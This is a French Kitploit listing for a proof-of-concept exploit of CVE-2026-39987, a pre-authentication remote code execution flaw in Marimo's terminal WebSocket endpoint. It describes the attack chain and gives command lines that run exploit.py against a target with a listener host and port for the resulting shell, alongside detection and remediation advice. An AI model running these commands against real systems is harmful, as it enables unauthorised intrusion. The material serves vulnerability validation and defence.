Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2026-39987 — Preuve de concept d'exploitation pour CVE-2026-39987, une RCE pré-authentification dans le point de terminaison WebSocket du terminal de Marimo. Démontre l'exécution de commandes non authentifiée et inclut des tests de validation pour les instances vulnérables et corrigées. | Kitploit
Outils/GitHubGitHub/th3purge/cve-2026-39987
Analyse des VulnérabilitésExploitationExploitation d'Applications WebTests d'IntrusionApprentissage et ÉducationRed Teaming
GitHubth3purge/cve-2026-39987

CVE-2026-39987

Preuve de concept d'exploitation pour CVE-2026-39987, une RCE pré-authentification dans le point de terminaison WebSocket du terminal de Marimo. Démontre l'exécution de commandes non authentifiée et inclut des tests de validation pour les instances vulnérables et corrigées.

Voir le dépôt
1il y a 7h 18mPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-39987 Marimo Exécution de Code à Distance Pré-Authentification


📋 Informations sur la Vulnérabilité

PropriétéValeur
CVECVE-2026-39987
ProduitMarimo
VulnérabilitéExécution de Code à Distance Pré-Authentification
Vecteur d'attaqueRéseau
AuthentificationNon requise
Interaction utilisateurNon requise
CWECWE-306 — Absence d'authentification pour une fonction critique
SévéritéCritique
Version corrigée0.23.0

CVE-2026-39987 est une vulnérabilité critique d'exécution de code à distance (RCE) pré-authentification affectant Marimo, un environnement de notebook Python réactif. La vulnérabilité est située dans le point de terminaison WebSocket du terminal /terminal/ws.


🔍 Cause Racine

Le point de terminaison vulnérable du terminal crée un PTY interactif après avoir accepté une connexion WebSocket.

Conceptuellement, le flux de requête vulnérable est :

root@kitploit:~
Client distant
     |
     | Connexion WebSocket
     v
/terminal/ws
     |
     | Validation d'authentification manquante
     v
WebSocket accepté
     |
     v
PTY créé
     |
     v
Shell interactif

La frontière de sécurité importante est le contrôle d'authentification manquant.

Un point de terminaison exposant une exécution arbitraire de commandes ne doit pas permettre à un client non authentifié d'atteindre la logique de création du PTY.


🎯 Objectif et Portée

Objectif Principal

L'objectif de ce projet est de démontrer, dans un environnement contrôlé, l'absence d'application de l'authentification affectant le point de terminaison WebSocket du terminal de Marimo.

Les équipes de sécurité peuvent utiliser le projet pour :

  • Valider l'exposition de leurs instances Marimo
  • Vérifier l'efficacité des correctifs de sécurité
  • Documenter l'impact potentiel sur la sécurité
  • Améliorer les contrôles défensifs
  • Soutenir la validation autorisée des vulnérabilités

Environnements Autorisés

  • Laboratoires de sécurité appartenant au testeur
  • Systèmes avec autorisation écrite explicite
  • Environnements de formation et d'éducation
  • Tests d'intrusion et évaluations de sécurité autorisés

Avertissement : Exécutez le PoC uniquement contre des systèmes que vous possédez ou pour lesquels vous êtes explicitement autorisé à tester.


🔗 Chaîne d'Exploitation

La chaîne complète de la vulnérabilité peut être résumée comme suit :

root@kitploit:~
1. L'attaquant découvre une instance Marimo exposée
                |
                v
2. L'attaquant se connecte à /terminal/ws
                |
                v
3. L'authentification n'est pas appliquée
                |
                v
4. La connexion WebSocket est acceptée
                |
                v
5. Un terminal PTY est créé
                |
                v
6. L'attaquant obtient l'exécution de commandes
                |
                v
7. Les commandes s'exécutent en tant que processus Marimo

La défaillance de sécurité critique se produit à l'étape 3.


📦 Installation

Prérequis

root@kitploit:~
Python 3.7+
pip
Accès réseau à la cible autorisée

Dépendances

root@kitploit:~
# Installation de base
pip install websocket-client

# Installation complète
pip install websocket-client rich

Vérification

root@kitploit:~
python3 exploit.py --help

🚀 Guide d'Utilisation

Syntaxe de Base

root@kitploit:~
python3 exploit.py -u <URL_CIBLE> --lhost <IP_LOCALE> --lport <PORT>

Exemples Pratiques

1. Test en Laboratoire Local

root@kitploit:~
python3 exploit.py \
  -u http://127.0.0.1:8081 \
  --lhost 127.0.0.1 \
  --lport 4444

2. Test Distant Autorisé

root@kitploit:~
python3 exploit.py \
  -u https://marimo.example.com \
  --lhost 192.168.1.100 \
  --lport 5555 \
  --timeout 30 \
  --retries 5

3. Mode Débogage

root@kitploit:~
python3 exploit.py \
  -u http://cible:8081 \
  --lhost 10.0.0.5 \
  --lport 9999 \
  --verbose \
  --no-verify-ssl \
  --retry-delay 1.5

📋 Référence des Paramètres

ParamètreTypeDescriptionDéfaut
-u, --urlchaîneURL de base de l'instance Marimo cibleRequis
--lhostchaîneAdresse IP de l'écouteurRequis
--lportentierPort de l'écouteur (1-65535)Requis
--timeoutentierDélai d'expiration de l'écouteur en secondes15
--retriesentierNouvelles tentatives de connexion WebSocket3
--retry-delayflottantDélai entre les nouvelles tentatives2.0
--no-verify-ssldrapeauDésactiver la vérification du certificat SSLFalse
-v, --verbosedrapeauActiver la sortie détailléeFalse
-s, --silentdrapeauSupprimer la sortieFalse

🔄 Flux de Travail d'Exploitation

root@kitploit:~
Phase 1 : Initialisation
    ↓ Valider les paramètres
    ↓ Configurer la journalisation

Phase 2 : Préparation
    ↓ Initialiser l'écouteur
    ↓ Établir la connexion WebSocket

Phase 3 : Validation
    ↓ Tester le point de terminaison du terminal
    ↓ Vérifier l'application de l'authentification
    ↓ Enregistrer le comportement de la connexion

Phase 4 : Démonstration
    ↓ Établir une session de test autorisée
    ↓ Vérifier le contexte d'exécution des commandes
    ↓ Collecter les preuves de validation

Phase 5 : Nettoyage
    ↓ Restaurer l'état du terminal
    ↓ Fermer les connexions
    ↓ Libérer les ressources

🧪 Tests de Validation

Scénarios de Test

Instance Vulnérable

root@kitploit:~
python3 exploit.py \
  -u http://vulnerable:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Résultat Attendu : Le point de terminaison vulnérable du terminal accepte la connexion non authentifiée.

Instance Corrigée

root@kitploit:~
python3 exploit.py \
  -u http://patched:8081 \
  --lhost 10.0.0.1 \
  --lport 4444

Résultat Attendu : La connexion est rejetée ou autrement empêchée par les contrôles d'authentification.

Test de Délai d'Expiration

root@kitploit:~
python3 exploit.py \
  -u http://firewalled:8081 \
  --lhost 10.0.0.1 \
  --lport 4444 \
  --timeout 5

Résultat Attendu : Le délai d'expiration est signalé proprement.


📈 Statistiques de la Vulnérabilité

root@kitploit:~
Sévérité :       Critique (CVSS 9.3)
Complexité :     Faible
Authentification : Aucune requise
Impact :         Exécution de Code à Distance
Protocole :      WebSocket
Point de terminaison : /terminal/ws
Version corrigée :  0.23.0

Le README source classe le problème comme CVSS 9.3 Critique et identifie CWE-306, WebSocket comme protocole, et /terminal/ws comme point de terminaison affecté.


🔎 Détection

Les indicateurs potentiels d'exploitation incluent des connexions WebSocket inattendues vers :

root@kitploit:~
/terminal/ws

Les défenseurs doivent enquêter sur :

  • Les connexions inattendues vers le point de terminaison WebSocket du terminal
  • Les processus shell inattendus générés par Marimo
  • Les processus enfants suspects
  • Les connexions sortantes inattendues
  • L'accès aux variables d'environnement sensibles
  • L'activité inattendue du système de fichiers
  • Les commandes inconnues exécutées par le processus Marimo

🛡️ Remédiation

Mettez à niveau Marimo vers une version corrigée :

root@kitploit:~
0.23.0 ou ultérieure

Les recommandations défensives supplémentaires incluent :

  • N'exposez pas Marimo directement sur l'Internet public sauf si nécessaire.
  • Placez les services de notebook derrière un proxy inverse authentifié.
  • Restreignez l'accès réseau aux utilisateurs et réseaux de confiance.
  • Exécutez Marimo avec les privilèges minimum requis.
  • Évitez de monter des répertoires hôtes sensibles dans les conteneurs.
  • Faites pivoter les identifiants qui ont pu être accessibles aux instances compromises.
  • Examinez les journaux pour toute activité suspecte sur /terminal/ws.
  • Enquêtez sur les instances potentiellement compromises au lieu de supposer que le simple correctif supprime la persistance de l'attaquant.

🔐 Classification de Sécurité

root@kitploit:~
CVE :        CVE-2026-39987
CWE :        CWE-306
Sévérité :   Critique
Type :       RCE Pré-Authentification
Protocole :  WebSocket
Point de terminaison : /terminal/ws
Auth :       Aucune requise
Corrigé :    0.23.0

📄 Licence

UTILISATION AUTORISÉE UNIQUEMENT

Ce projet est fourni exclusivement pour :

  • Les tests de sécurité autorisés
  • La recherche académique
  • La validation de vulnérabilités
  • La formation en sécurité
  • Le développement de sécurité défensive

Toute utilisation non autorisée est strictement interdite et peut violer les lois locales et internationales applicables.


⚠️ Avertissement

Ce projet est fourni à des fins de recherche en sécurité, de validation de vulnérabilités et à des fins éducatives.

N'utilisez pas le PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas d'autorisation explicite de tester.

Les mainteneurs ne sont pas responsables des mauvaises utilisations, des tests non autorisés, des dommages, des pertes de données ou de toute conséquence résultant de l'utilisation de ce projet.

Télécharger l’outil